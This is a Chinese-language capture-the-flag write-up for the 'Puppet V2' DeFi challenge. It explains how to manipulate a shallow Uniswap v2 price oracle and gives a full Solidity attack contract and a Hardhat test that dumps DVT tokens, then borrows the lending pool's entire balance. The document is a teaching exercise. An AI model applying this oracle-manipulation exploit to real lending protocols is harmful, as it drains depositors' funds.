前一个池子的开发者似乎已经吸取了教训,并发布了一个新版本!
现在他们正在使用Uniswap v2交换作为价格预言机,同时结合推荐的实用程序库。这应该足够了。
你的账户余额中有20个ETH和10000个DVT代币。该池子中有100万个DVT代币。你知道该怎么做。
池子换成了uniswap v2,池子深度还是很浅,出题人目的想考察答题者对uniswap v2 swap方法的了解。 借贷池的的价格预言机是根据uniswap中币对ETH-DVT的余额换算的,直接使用手中的ETH借贷肯定无法借出所有DVT,所以答题者卖掉持有的所有DVT到uniswap池子中,DVT的价格骤降。再使用ETH去找借贷池可以借出所有的DVT,完成挑战目标。
创建PupperV2PoolAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol";
import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol";
import {PuppetV2Pool} from "./PuppetV2Pool.sol";
import {IUniswapV2Router02} from "../IUniswapV2Router02.sol";
import "hardhat/console.sol";
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
function balanceOf(address account) external returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function deposit() external payable;
}
contract PupperV2PoolAttack {
using SafeMath for uint256;
PuppetV2Pool private _pool;
IERC20 private _token;
IERC20 private _weth;
IUniswapV2Router02 private _uniwapRouter;
constructor(
address poolAddress,
address wethAddress,
address tokenAddress,
address uniwapRouter
) public {
_pool = PuppetV2Pool(poolAddress);
_weth = IERC20(wethAddress);
_token = IERC20(tokenAddress);
_uniwapRouter = IUniswapV2Router02(uniwapRouter);
}
function attack() public payable {
uint256 tokenAmount = _token.balanceOf(address(this));
_token.approve(address(_uniwapRouter), tokenAmount);
address[] memory path = new address[](2);
path[0] = address(_token);
path[1] = address(_weth);
_uniwapRouter.swapExactTokensForETH(
tokenAmount,
1,
path,
address(this),
uint256(block.timestamp + 5000)
);
_weth.deposit{value: address(this).balance}();
uint256 ethAmount = _weth.balanceOf(address(this));
_weth.approve(address(_pool), ethAmount);
uint256 poolTokenAmount = _token.balanceOf(address(_pool));
_pool.borrow(poolTokenAmount);
uint256 borrowTokenAmount = _token.balanceOf(address(this));
_token.transfer(msg.sender, borrowTokenAmount);
}
receive() external payable {}
}
puppet-v2.challenge.js
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const attackFoctory = await ethers.getContractFactory("PupperV2PoolAttack", player);
const attackContact = await attackFoctory.deploy(
lendingPool.address,
weth.address,
token.address,
uniswapRouter.address
);
await token.connect(player).transfer(attackContact.address, PLAYER_INITIAL_TOKEN_BALANCE);
await attackContact.connect(player).attack({
value: PLAYER_INITIAL_ETH_BALANCE - 1n * 10n ** 17n
});
});